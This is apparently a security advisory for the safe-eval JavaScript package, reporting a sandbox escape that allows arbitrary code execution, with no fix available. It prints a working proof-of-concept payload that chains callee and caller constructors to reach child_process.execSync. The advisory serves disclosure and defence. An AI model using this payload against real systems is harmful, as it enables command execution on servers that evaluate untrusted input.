Sandbox Breakout / Arbitrary Code Execution in safe-eval

Summary

All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code. For example, the payload ``` ((() => { const targetKey = Object.keys(this)[0]; Object.defineProperty(this, targetKey, { get: function() { return arguments.callee.caller.constructor( "return global.process.mainModule.require('child_process').execSync('pwd').toString()" )(); } }); })();``` may be used to print the `pwd` to the console. ## Recommendation No fix is currently available. Consider using an alternative package until a fix is made available.
